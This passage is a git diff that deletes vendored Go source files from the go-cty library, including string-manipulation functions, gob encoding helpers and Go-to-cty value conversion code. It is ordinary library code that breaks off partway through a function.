AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - in := []byte(args[0].AsString()) - var offset, length int - - var err error - err = gocty.FromCtyValue(args[1], &offset) - if err != nil { - return cty.NilVal, err - } - err = gocty.FromCtyValue(args[2], &length) - if err != nil { - return cty.NilVal, err - } - - if offset < 0 { - totalLenNum, err := Strlen(args[0]) - if err != nil { - // should never happen - panic("Stdlen returned an error") - } - - var totalLen int - err = gocty.FromCtyValue(totalLenNum, &totalLen) - if err != nil { - // should never happen - panic("Stdlen returned a non-int number") - } - - offset += totalLen - } else if length == 0 { - // Short circuit here, after error checks, because if a - // string of length 0 has been requested it will always - // be the empty string - return cty.StringVal(""), nil - } - - - sub := in - pos := 0 - var i int - - // First we'll seek forward to our offset - if offset > 0 { - for i = 0; i < len(sub); { - d, _, _ := textseg.ScanGraphemeClusters(sub[i:], true) - i += d - pos++ - if pos == offset { - break - } - if i >= len(in) { - return cty.StringVal(""), nil - } - } - - sub = sub[i:] - } - - if length < 0 { - // Taking the remainder of the string is a fast path since - // we can just return the rest of the buffer verbatim. - return cty.StringVal(string(sub)), nil - } - - // Otherwise we need to start seeking forward again until we - // reach the length we want. - pos = 0 - for i = 0; i < len(sub); { - d, _, _ := textseg.ScanGraphemeClusters(sub[i:], true) - i += d - pos++ - if pos == length { - break - } - } - - sub = sub[:i] - - return cty.StringVal(string(sub)), nil - }, -}) - -var JoinFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "separator", - Type: cty.String, - }, - }, - VarParam: &function.Parameter{ - Name: "lists", - Type: cty.List(cty.String), - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - sep := args[0].AsString() - listVals := args[1:] - if len(listVals) < 1 { - return cty.UnknownVal(cty.String), fmt.Errorf("at least one list is required") - } - - l := 0 - for _, list := range listVals { - if !list.IsWhollyKnown() { - return cty.UnknownVal(cty.String), nil - } - l += list.LengthInt() - } - - items := make([]string, 0, l) - for ai, list := range listVals { - ei := 0 - for it := list.ElementIterator(); it.Next(); { - _, val := it.Element() - if val.IsNull() { - if len(listVals) > 1 { - return cty.UnknownVal(cty.String), function.NewArgErrorf(ai+1, "element %d of list %d is null; cannot concatenate null values", ei, ai+1) - } - return cty.UnknownVal(cty.String), function.NewArgErrorf(ai+1, "element %d is null; cannot concatenate null values", ei) - } - items = append(items, val.AsString()) - ei++ - } - } - - return cty.StringVal(strings.Join(items, sep)), nil - }, -}) - -var SortFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.List(cty.String), - }, - }, - Type: function.StaticReturnType(cty.List(cty.String)), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - listVal := args[0] - - if !listVal.IsWhollyKnown() { - // If some of the element values aren't known yet then we - // can't yet predict the order of the result. - return cty.UnknownVal(retType), nil - } - if listVal.LengthInt() == 0 { // Easy path - return listVal, nil - } - - list := make([]string, 0, listVal.LengthInt()) - for it := listVal.ElementIterator(); it.Next(); { - iv, v := it.Element() - if v.IsNull() { - return cty.UnknownVal(retType), fmt.Errorf("given list element %s is null; a null string cannot be sorted", iv.AsBigFloat().String()) - } - list = append(list, v.AsString()) - } - - sort.Strings(list) - retVals := make([]cty.Value, len(list)) - for i, s := range list { - retVals[i] = cty.StringVal(s) - } - return cty.ListVal(retVals), nil - }, -}) - -var SplitFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "separator", - Type: cty.String, - }, - { - Name: "str", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.List(cty.String)), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - sep := args[0].AsString() - str := args[1].AsString() - elems := strings.Split(str, sep) - elemVals := make([]cty.Value, len(elems)) - for i, s := range elems { - elemVals[i] = cty.StringVal(s) - } - if len(elemVals) == 0 { - return cty.ListValEmpty(cty.String), nil - } - return cty.ListVal(elemVals), nil - }, -}) - -// ChompFunc is a function that removes newline characters at the end of a -// string. -var ChompFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - newlines := regexp.MustCompile(`(?:\r\n?|\n)*\z`) - return cty.StringVal(newlines.ReplaceAllString(args[0].AsString(), "")), nil - }, -}) - -// IndentFunc is a function that adds a given number of spaces to the -// beginnings of all but the first line in a given multi-line string. -var IndentFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "spaces", - Type: cty.Number, - }, - { - Name: "str", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - var spaces int - if err := gocty.FromCtyValue(args[0], &spaces); err != nil { - return cty.UnknownVal(cty.String), err - } - data := args[1].AsString() - pad := strings.Repeat(" ", spaces) - return cty.StringVal(strings.Replace(data, "\n", "\n"+pad, -1)), nil - }, -}) - -// TitleFunc is a function that converts the first letter of each word in the -// given string to uppercase. -var TitleFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return cty.StringVal(strings.Title(args[0].AsString())), nil - }, -}) - -// TrimSpaceFunc is a function that removes any space characters from the start -// and end of the given string. -var TrimSpaceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return cty.StringVal(strings.TrimSpace(args[0].AsString())), nil - }, -}) - -// TrimFunc is a function that removes the specified characters from the start -// and end of the given string. -var TrimFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - { - Name: "cutset", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - str := args[0].AsString() - cutset := args[1].AsString() - return cty.StringVal(strings.Trim(str, cutset)), nil - }, -}) - -// TrimPrefixFunc is a function that removes the specified characters from the -// start the given string. -var TrimPrefixFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - { - Name: "prefix", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - str := args[0].AsString() - prefix := args[1].AsString() - return cty.StringVal(strings.TrimPrefix(str, prefix)), nil - }, -}) - -// TrimSuffixFunc is a function that removes the specified characters from the -// end of the given string. -var TrimSuffixFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - { - Name: "suffix", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - str := args[0].AsString() - cutset := args[1].AsString() - return cty.StringVal(strings.TrimSuffix(str, cutset)), nil - }, -}) - -// Upper is a Function that converts a given string to uppercase. -func Upper(str cty.Value) (cty.Value, error) { - return UpperFunc.Call([]cty.Value{str}) -} - -// Lower is a Function that converts a given string to lowercase. -func Lower(str cty.Value) (cty.Value, error) { - return LowerFunc.Call([]cty.Value{str}) -} - -// Reverse is a Function that reverses the order of the characters in the -// given string. -// -// As usual, "character" for the sake of this function is a grapheme cluster, -// so combining diacritics (for example) will be considered together as a -// single character. -func Reverse(str cty.Value) (cty.Value, error) { - return ReverseFunc.Call([]cty.Value{str}) -} - -// Strlen is a Function that returns the length of the given string in -// characters. -// -// As usual, "character" for the sake of this function is a grapheme cluster, -// so combining diacritics (for example) will be considered together as a -// single character. -func Strlen(str cty.Value) (cty.Value, error) { - return StrlenFunc.Call([]cty.Value{str}) -} - -// Substr is a Function that extracts a sequence of characters from another -// string and creates a new string. -// -// As usual, "character" for the sake of this function is a grapheme cluster, -// so combining diacritics (for example) will be considered together as a -// single character. -// -// The "offset" index may be negative, in which case it is relative to the -// end of the given string. -// -// The "length" may be -1, in which case the remainder of the string after -// the given offset will be returned. -func Substr(str cty.Value, offset cty.Value, length cty.Value) (cty.Value, error) { - return SubstrFunc.Call([]cty.Value{str, offset, length}) -} - -// Join concatenates together the string elements of one or more lists with a -// given separator. -func Join(sep cty.Value, lists ...cty.Value) (cty.Value, error) { - args := make([]cty.Value, len(lists)+1) - args[0] = sep - copy(args[1:], lists) - return JoinFunc.Call(args) -} - -// Sort re-orders the elements of a given list of strings so that they are -// in ascending lexicographical order. -func Sort(list cty.Value) (cty.Value, error) { - return SortFunc.Call([]cty.Value{list}) -} - -// Split divides a given string by a given separator, returning a list of -// strings containing the characters between the separator sequences. -func Split(sep, str cty.Value) (cty.Value, error) { - return SplitFunc.Call([]cty.Value{sep, str}) -} - -// Chomp removes newline characters at the end of a string. -func Chomp(str cty.Value) (cty.Value, error) { - return ChompFunc.Call([]cty.Value{str}) -} - -// Indent adds a given number of spaces to the beginnings of all but the first -// line in a given multi-line string. -func Indent(spaces, str cty.Value) (cty.Value, error) { - return IndentFunc.Call([]cty.Value{spaces, str}) -} - -// Title converts the first letter of each word in the given string to uppercase. -func Title(str cty.Value) (cty.Value, error) { - return TitleFunc.Call([]cty.Value{str}) -} - -// TrimSpace removes any space characters from the start and end of the given string. -func TrimSpace(str cty.Value) (cty.Value, error) { - return TrimSpaceFunc.Call([]cty.Value{str}) -} - -// Trim removes the specified characters from the start and end of the given string. -func Trim(str, cutset cty.Value) (cty.Value, error) { - return TrimFunc.Call([]cty.Value{str, cutset}) -} - -// TrimPrefix removes the specified prefix from the start of the given string. -func TrimPrefix(str, prefix cty.Value) (cty.Value, error) { - return TrimPrefixFunc.Call([]cty.Value{str, prefix}) -} - -// TrimSuffix removes the specified suffix from the end of the given string. -func TrimSuffix(str, suffix cty.Value) (cty.Value, error) { - return TrimSuffixFunc.Call([]cty.Value{str, suffix}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string_replace.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string_replace.go deleted file mode 100644 index f777ce5c3e..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/string_replace.go +++ /dev/null @@ -1,80 +0,0 @@ -package stdlib - -import ( - "regexp" - "strings" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -// ReplaceFunc is a function that searches a given string for another given -// substring, and replaces each occurence with a given replacement string. -// The substr argument is a simple string. -var ReplaceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - { - Name: "substr", - Type: cty.String, - }, - { - Name: "replace", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - str := args[0].AsString() - substr := args[1].AsString() - replace := args[2].AsString() - - return cty.StringVal(strings.Replace(str, substr, replace, -1)), nil - }, -}) - -// RegexReplaceFunc is a function that searches a given string for another -// given substring, and replaces each occurence with a given replacement -// string. The substr argument must be a valid regular expression. -var RegexReplaceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "str", - Type: cty.String, - }, - { - Name: "substr", - Type: cty.String, - }, - { - Name: "replace", - Type: cty.String, - }, - }, - Type: function.StaticReturnType(cty.String), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - str := args[0].AsString() - substr := args[1].AsString() - replace := args[2].AsString() - - re, err := regexp.Compile(substr) - if err != nil { - return cty.UnknownVal(cty.String), err - } - - return cty.StringVal(re.ReplaceAllString(str, replace)), nil - }, -}) - -// Replace searches a given string for another given substring, -// and replaces all occurrences with a given replacement string. -func Replace(str, substr, replace cty.Value) (cty.Value, error) { - return ReplaceFunc.Call([]cty.Value{str, substr, replace}) -} - -func RegexReplace(str, substr, replace cty.Value) (cty.Value, error) { - return RegexReplaceFunc.Call([]cty.Value{str, substr, replace}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/unpredictable.go b/vendor/github.com/zclconf/go-cty/cty/function/unpredictable.go deleted file mode 100644 index 3495550af5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/unpredictable.go +++ /dev/null @@ -1,31 +0,0 @@ -package function - -import ( - "github.com/zclconf/go-cty/cty" -) - -// Unpredictable wraps a given function such that it retains the same arguments -// and type checking behavior but will return an unknown value when called. -// -// It is recommended that most functions be "pure", which is to say that they -// will always produce the same value given particular input. However, -// sometimes it is necessary to offer functions whose behavior depends on -// some external state, such as reading a file or determining the current time. -// In such cases, an unpredictable wrapper might be used to stand in for -// the function during some sort of prior "checking" phase in order to delay -// the actual effect until later. -// -// While Unpredictable can support a function that isn't pure in its -// implementation, it still expects a function to be pure in its type checking -// behavior, except for the special case of returning cty.DynamicPseudoType -// if it is not yet able to predict its return value based on current argument -// information. -func Unpredictable(f Function) Function { - newSpec := *f.spec // shallow copy - newSpec.Impl = unpredictableImpl - return New(&newSpec) -} - -func unpredictableImpl(args []cty.Value, retType cty.Type) (cty.Value, error) { - return cty.UnknownVal(retType), nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/gob.go b/vendor/github.com/zclconf/go-cty/cty/gob.go deleted file mode 100644 index a0961b8a0c..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gob.go +++ /dev/null @@ -1,204 +0,0 @@ -package cty - -import ( - "bytes" - "encoding/gob" - "errors" - "fmt" - "math/big" - - "github.com/zclconf/go-cty/cty/set" -) - -// GobEncode is an implementation of the gob.GobEncoder interface, which -// allows Values to be included in structures encoded with encoding/gob. -// -// Currently it is not possible to represent values of capsule types in gob, -// because the types themselves cannot be represented. -func (val Value) GobEncode() ([]byte, error) { - if val.IsMarked() { - return nil, errors.New("value is marked") - } - - buf := &bytes.Buffer{} - enc := gob.NewEncoder(buf) - - gv := gobValue{ - Version: 0, - Ty: val.ty, - V: val.v, - } - - err := enc.Encode(gv) - if err != nil { - return nil, fmt.Errorf("error encoding cty.Value: %s", err) - } - - return buf.Bytes(), nil -} - -// GobDecode is an implementation of the gob.GobDecoder interface, which -// inverts the operation performed by GobEncode. See the documentation of -// GobEncode for considerations when using cty.Value instances with gob. -func (val *Value) GobDecode(buf []byte) error { - r := bytes.NewReader(buf) - dec := gob.NewDecoder(r) - - var gv gobValue - err := dec.Decode(&gv) - if err != nil { - return fmt.Errorf("error decoding cty.Value: %s", err) - } - if gv.Version != 0 { - return fmt.Errorf("unsupported cty.Value encoding version %d; only 0 is supported", gv.Version) - } - - // Because big.Float.GobEncode is implemented with a pointer reciever, - // gob encoding of an interface{} containing a *big.Float value does not - // round-trip correctly, emerging instead as a non-pointer big.Float. - // The rest of cty expects all number values to be represented by - // *big.Float, so we'll fix that up here. - gv.V = gobDecodeFixNumberPtr(gv.V, gv.Ty) - - val.ty = gv.Ty - val.v = gv.V - - return nil -} - -// GobEncode is an implementation of the gob.GobEncoder interface, which -// allows Types to be included in structures encoded with encoding/gob. -// -// Currently it is not possible to represent capsule types in gob. -func (t Type) GobEncode() ([]byte, error) { - buf := &bytes.Buffer{} - enc := gob.NewEncoder(buf) - - gt := gobType{ - Version: 0, - Impl: t.typeImpl, - } - - err := enc.Encode(gt) - if err != nil { - return nil, fmt.Errorf("error encoding cty.Type: %s", err) - } - - return buf.Bytes(), nil -} - -// GobDecode is an implementatino of the gob.GobDecoder interface, which -// reverses the encoding performed by GobEncode to allow types to be recovered -// from gob buffers. -func (t *Type) GobDecode(buf []byte) error { - r := bytes.NewReader(buf) - dec := gob.NewDecoder(r) - - var gt gobType - err := dec.Decode(>) - if err != nil { - return fmt.Errorf("error decoding cty.Type: %s", err) - } - if gt.Version != 0 { - return fmt.Errorf("unsupported cty.Type encoding version %d; only 0 is supported", gt.Version) - } - - t.typeImpl = gt.Impl - - return nil -} - -// Capsule types cannot currently be gob-encoded, because they rely on pointer -// equality and we have no way to recover the original pointer on decode. -func (t *capsuleType) GobEncode() ([]byte, error) { - return nil, fmt.Errorf("cannot gob-encode capsule type %q", t.FriendlyName(friendlyTypeName)) -} - -func (t *capsuleType) GobDecode() ([]byte, error) { - return nil, fmt.Errorf("cannot gob-decode capsule type %q", t.FriendlyName(friendlyTypeName)) -} - -type gobValue struct { - Version int - Ty Type - V interface{} -} - -type gobType struct { - Version int - Impl typeImpl -} - -type gobCapsuleTypeImpl struct { -} - -// goDecodeFixNumberPtr fixes an unfortunate quirk of round-tripping cty.Number -// values through gob: the big.Float.GobEncode method is implemented on a -// pointer receiver, and so it loses the "pointer-ness" of the value on -// encode, causing the values to emerge the other end as big.Float rather than -// *big.Float as we expect elsewhere in cty. -// -// The implementation of gobDecodeFixNumberPtr mutates the given raw value -// during its work, and may either return the same value mutated or a new -// value. Callers must no longer use whatever value they pass as "raw" after -// this function is called. -func gobDecodeFixNumberPtr(raw interface{}, ty Type) interface{} { - // Unfortunately we need to work recursively here because number values - // might be embedded in structural or collection type values. - - switch { - case ty.Equals(Number): - if bf, ok := raw.(big.Float); ok { - return &bf // wrap in pointer - } - case ty.IsMapType() && ty.ElementType().Equals(Number): - if m, ok := raw.(map[string]interface{}); ok { - for k, v := range m { - m[k] = gobDecodeFixNumberPtr(v, ty.ElementType()) - } - } - case ty.IsListType() && ty.ElementType().Equals(Number): - if s, ok := raw.([]interface{}); ok { - for i, v := range s { - s[i] = gobDecodeFixNumberPtr(v, ty.ElementType()) - } - } - case ty.IsSetType() && ty.ElementType().Equals(Number): - if s, ok := raw.(set.Set); ok { - newS := set.NewSet(s.Rules()) - for it := s.Iterator(); it.Next(); { - newV := gobDecodeFixNumberPtr(it.Value(), ty.ElementType()) - newS.Add(newV) - } - return newS - } - case ty.IsObjectType(): - if m, ok := raw.(map[string]interface{}); ok { - for k, v := range m { - aty := ty.AttributeType(k) - m[k] = gobDecodeFixNumberPtr(v, aty) - } - } - case ty.IsTupleType(): - if s, ok := raw.([]interface{}); ok { - for i, v := range s { - ety := ty.TupleElementType(i) - s[i] = gobDecodeFixNumberPtr(v, ety) - } - } - } - - return raw -} - -// gobDecodeFixNumberPtrVal is a helper wrapper around gobDecodeFixNumberPtr -// that works with already-constructed values. This is primarily for testing, -// to fix up intentionally-invalid number values for the parts of the test -// code that need them to be valid, such as calling GoString on them. -func gobDecodeFixNumberPtrVal(v Value) Value { - raw := gobDecodeFixNumberPtr(v.v, v.ty) - return Value{ - v: raw, - ty: v.ty, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/gocty/doc.go b/vendor/github.com/zclconf/go-cty/cty/gocty/doc.go deleted file mode 100644 index a5177d22b2..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gocty/doc.go +++ /dev/null @@ -1,7 +0,0 @@ -// Package gocty deals with converting between cty Values and native go -// values. -// -// It operates under a similar principle to the encoding/json and -// encoding/xml packages in the standard library, using reflection to -// populate native Go data structures from cty values and vice-versa. -package gocty diff --git a/vendor/github.com/zclconf/go-cty/cty/gocty/helpers.go b/vendor/github.com/zclconf/go-cty/cty/gocty/helpers.go deleted file mode 100644 index 94ffd2fb74..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gocty/helpers.go +++ /dev/null @@ -1,43 +0,0 @@ -package gocty - -import ( - "math/big" - "reflect" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/set" -) - -var valueType = reflect.TypeOf(cty.Value{}) -var typeType = reflect.TypeOf(cty.Type{}) - -var setType = reflect.TypeOf(set.Set{}) - -var bigFloatType = reflect.TypeOf(big.Float{}) -var bigIntType = reflect.TypeOf(big.Int{}) - -var emptyInterfaceType = reflect.TypeOf(interface{}(nil)) - -var stringType = reflect.TypeOf("") - -// structTagIndices interrogates the fields of the given type (which must -// be a struct type, or we'll panic) and returns a map from the cty -// attribute names declared via struct tags to the indices of the -// fields holding those tags. -// -// This function will panic if two fields within the struct are tagged with -// the same cty attribute name. -func structTagIndices(st reflect.Type) map[string]int { - ct := st.NumField() - ret := make(map[string]int, ct) - - for i := 0; i < ct; i++ { - field := st.Field(i) - attrName := field.Tag.Get("cty") - if attrName != "" { - ret[attrName] = i - } - } - - return ret -} diff --git a/vendor/github.com/zclconf/go-cty/cty/gocty/in.go b/vendor/github.com/zclconf/go-cty/cty/gocty/in.go deleted file mode 100644 index ca9de21d2e..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/gocty/in.go +++ /dev/null @@ -1,548 +0,0 @@ -package gocty - -import ( - "math/big" - "reflect" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/set" -) - -// ToCtyValue produces a cty.Value from a Go value. The result will conform -// to the given type, or an error will be returned if this is not possible. -// -// The target type serves as a hint to resolve ambiguities in the mapping. -// For example, the Go type set.Set tells us that the value is a set but -// does not describe the set's element type. This also allows for convenient -// conversions, such as populating a set from a slice rather than having to -// first explicitly instantiate a set.Set. -// -// The audience of this function is assumed to be the developers of Go code -// that is integrating with cty, and thus the error messages it returns are -// presented from Go's perspective. These messages are thus not appropriate -// for display to end-users. An error returned from ToCtyValue represents a -// bug in the calling program, not user error. -func ToCtyValue(val interface{}, ty cty.Type) (cty.Value, error) { - // 'path' starts off as empty but will grow for each level of recursive - // call we make, so by the time toCtyValue returns it is likely to have - // unused capacity on the end of it, depending on how deeply-recursive - // the given Type is. - path := make(cty.Path, 0) - return toCtyValue(reflect.ValueOf(val), ty, path) -} - -func toCtyValue(val reflect.Value, ty cty.Type, path cty.Path) (cty.Value, error) { - if val != (reflect.Value{}) && val.Type().AssignableTo(valueType) { - // If the source value is a cty.Value then we'll try to just pass - // through to the target type directly. - return toCtyPassthrough(val, ty, path) - } - - switch ty { - case cty.Bool: - return toCtyBool(val, path) - case cty.Number: - return toCtyNumber(val, path) - case cty.String: - return toCtyString(val, path) - case cty.DynamicPseudoType: - return toCtyDynamic(val, path) - } - - switch { - case ty.IsListType(): - return toCtyList(val, ty.ElementType(), path) - case ty.IsMapType(): - return toCtyMap(val, ty.ElementType(), path) - case ty.IsSetType(): - return toCtySet(val, ty.ElementType(), path) - case ty.IsObjectType(): - return toCtyObject(val, ty.AttributeTypes(), path) - case ty.IsTupleType(): - return toCtyTuple(val, ty.TupleElementTypes(), path) - case ty.IsCapsuleType(): - return toCtyCapsule(val, ty, path) - } - - // We should never fall out here - return cty.NilVal, path.NewErrorf("unsupported target type %#v", ty) -} - -func toCtyBool(val reflect.Value, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.Bool), nil - } - - switch val.Kind() { - - case reflect.Bool: - return cty.BoolVal(val.Bool()), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to bool", val.Kind()) - - } - -} - -func toCtyNumber(val reflect.Value, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.Number), nil - } - - switch val.Kind() { - - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return cty.NumberIntVal(val.Int()), nil - - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64: - return cty.NumberUIntVal(val.Uint()), nil - - case reflect.Float32, reflect.Float64: - return cty.NumberFloatVal(val.Float()), nil - - case reflect.Struct: - if val.Type().AssignableTo(bigIntType) { - bigInt := val.Interface().(big.Int) - bigFloat := (&big.Float{}).SetInt(&bigInt) - val = reflect.ValueOf(*bigFloat) - } - - if val.Type().AssignableTo(bigFloatType) { - bigFloat := val.Interface().(big.Float) - return cty.NumberVal(&bigFloat), nil - } - - fallthrough - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to number", val.Kind()) - - } - -} - -func toCtyString(val reflect.Value, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.String), nil - } - - switch val.Kind() { - - case reflect.String: - return cty.StringVal(val.String()), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to string", val.Kind()) - - } - -} - -func toCtyList(val reflect.Value, ety cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.List(ety)), nil - } - - switch val.Kind() { - - case reflect.Slice: - if val.IsNil() { - return cty.NullVal(cty.List(ety)), nil - } - fallthrough - case reflect.Array: - if val.Len() == 0 { - return cty.ListValEmpty(ety), nil - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our index step. - path = append(path, cty.PathStep(nil)) - - vals := make([]cty.Value, val.Len()) - for i := range vals { - var err error - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(i)), - } - vals[i], err = toCtyValue(val.Index(i), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.ListVal(vals), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Kind(), cty.List(ety)) - - } -} - -func toCtyMap(val reflect.Value, ety cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.Map(ety)), nil - } - - switch val.Kind() { - - case reflect.Map: - if val.IsNil() { - return cty.NullVal(cty.Map(ety)), nil - } - - if val.Len() == 0 { - return cty.MapValEmpty(ety), nil - } - - keyType := val.Type().Key() - if keyType.Kind() != reflect.String { - return cty.NilVal, path.NewErrorf("can't convert Go map with key type %s; key type must be string", keyType) - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our index step. - path = append(path, cty.PathStep(nil)) - - vals := make(map[string]cty.Value, val.Len()) - for _, kv := range val.MapKeys() { - k := kv.String() - var err error - path[len(path)-1] = cty.IndexStep{ - Key: cty.StringVal(k), - } - vals[k], err = toCtyValue(val.MapIndex(reflect.ValueOf(k)), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.MapVal(vals), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Kind(), cty.Map(ety)) - - } -} - -func toCtySet(val reflect.Value, ety cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.Set(ety)), nil - } - - var vals []cty.Value - - switch val.Kind() { - - case reflect.Slice: - if val.IsNil() { - return cty.NullVal(cty.Set(ety)), nil - } - fallthrough - case reflect.Array: - if val.Len() == 0 { - return cty.SetValEmpty(ety), nil - } - - vals = make([]cty.Value, val.Len()) - for i := range vals { - var err error - vals[i], err = toCtyValue(val.Index(i), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - case reflect.Struct: - - if !val.Type().AssignableTo(setType) { - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Type(), cty.Set(ety)) - } - - rawSet := val.Interface().(set.Set) - inVals := rawSet.Values() - - if len(inVals) == 0 { - return cty.SetValEmpty(ety), nil - } - - vals = make([]cty.Value, len(inVals)) - for i := range inVals { - var err error - vals[i], err = toCtyValue(reflect.ValueOf(inVals[i]), ety, path) - if err != nil { - return cty.NilVal, err - } - } - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Kind(), cty.Set(ety)) - - } - - return cty.SetVal(vals), nil -} - -func toCtyObject(val reflect.Value, attrTypes map[string]cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return cty.NullVal(cty.Object(attrTypes)), nil - } - - switch val.Kind() { - - case reflect.Map: - if val.IsNil() { - return cty.NullVal(cty.Object(attrTypes)), nil - } - - keyType := val.Type().Key() - if keyType.Kind() != reflect.String { - return cty.NilVal, path.NewErrorf("can't convert Go map with key type %s; key type must be string", keyType) - } - - if len(attrTypes) == 0 { - return cty.EmptyObjectVal, nil - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our GetAttr step. - path = append(path, cty.PathStep(nil)) - - haveKeys := make(map[string]struct{}, val.Len()) - for _, kv := range val.MapKeys() { - haveKeys[kv.String()] = struct{}{} - } - - vals := make(map[string]cty.Value, len(attrTypes)) - for k, at := range attrTypes { - var err error - path[len(path)-1] = cty.GetAttrStep{ - Name: k, - } - - if _, have := haveKeys[k]; !have { - vals[k] = cty.NullVal(at) - continue - } - - vals[k], err = toCtyValue(val.MapIndex(reflect.ValueOf(k)), at, path) - if err != nil { - return cty.NilVal, err - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.ObjectVal(vals), nil - - case reflect.Struct: - if len(attrTypes) == 0 { - return cty.EmptyObjectVal, nil - } - - // While we work on our elements we'll temporarily grow - // path to give us a place to put our GetAttr step. - path = append(path, cty.PathStep(nil)) - - attrFields := structTagIndices(val.Type()) - - vals := make(map[string]cty.Value, len(attrTypes)) - for k, at := range attrTypes { - path[len(path)-1] = cty.GetAttrStep{ - Name: k, - } - - if fieldIdx, have := attrFields[k]; have { - var err error - vals[k], err = toCtyValue(val.Field(fieldIdx), at, path) - if err != nil { - return cty.NilVal, err - } - } else { - vals[k] = cty.NullVal(at) - } - } - - // Discard our extra path segment, retaining it as extra capacity - // for future appending to the path. - path = path[:len(path)-1] - - return cty.ObjectVal(vals), nil - - default: - return cty.NilVal, path.NewErrorf("can't convert Go %s to %#v", val.Kind(), cty.Object(attrTypes)) - - } -} - -func toCtyTuple(val reflect.Value, elemTypes []cty.Type, path cty.Path) (cty.Value, error) { - if val = toCtyUnwrapPointer(val); !val.IsValid() { - return 